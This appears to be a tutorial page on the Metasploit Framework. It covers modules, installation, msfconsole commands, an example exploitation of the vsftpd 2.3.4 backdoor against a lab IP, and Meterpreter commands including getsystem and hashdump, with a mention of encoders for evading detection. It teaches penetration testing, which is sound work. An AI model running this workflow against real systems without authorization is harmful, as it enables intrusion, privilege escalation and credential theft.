Metasploit Fundamentals: Exploitation Framework
Learn the Metasploit Framework from basics to exploitation, covering modules, payloads, meterpreter, and post-exploitation techniques.
Why You Need Metasploit
You need to test whether a known vulnerability can be exploited against a target system — Metasploit provides the framework, exploits, payloads, and post-exploitation modules in one platform. It standardizes how exploits work, letting you focus on the target rather than building tools from scratch.
Prerequisites
Metasploit Architecture
Exploit: Module that takes advantage of a vulnerability.
Payload: Code that runs on the target after exploitation.
Auxiliary: Modules for scanning, fuzzing, and information gathering.
Encoder: Transforms payloads to evade detection.
Post: Modules for post-exploitation activities.
Installation
sudo apt install metasploit-framework
Starting Metasploit
msfconsole
sudo systemctl start postgresql
msfdb init
Basic msfconsole Commands
help # Show available commands
search apache # Search for modules
use exploit/multi/handler # Select a module
show options # Show module configuration
show payloads # List compatible payloads
set RHOSTS 192.168.1.100 # Set a target
set LHOST 10.0.0.5 # Set your IP
run # Execute the module
sessions -l # List active sessions
sessions -i 1 # Interact with session 1
Exploitation Workflow
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 192.168.1.100
msf6 > run
msf6 > search vsftpd
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 192.168.1.100
msf6 > set PAYLOAD cmd/unix/interact
msf6 > run
{@visual metasploit-exploit-session}
Meterpreter Basics
meterpreter > sysinfo
meterpreter > getuid
meterpreter > ps
meterpreter > getsystem
meterpreter > hashdump
meterpreter > shell
Common Mistakes
Running without a database — initialize with msfdb init. Wrong payload selection — use show payloads. Firewall issues preventing reverse connections.
Best Practices
Use the database. Use resource scripts. Stage payloads. Practice in a lab.
Related Tools
Related Articles
Summary
Metasploit is the most comprehensive exploitation framework available. Key components include exploits, payloads, auxiliary modules, encoders, and the Meterpreter payload.
Knowledge Check
References
{@ref metasploit-docs}
{@ref kali-tools}
{@ref mitre-attack-enterprise}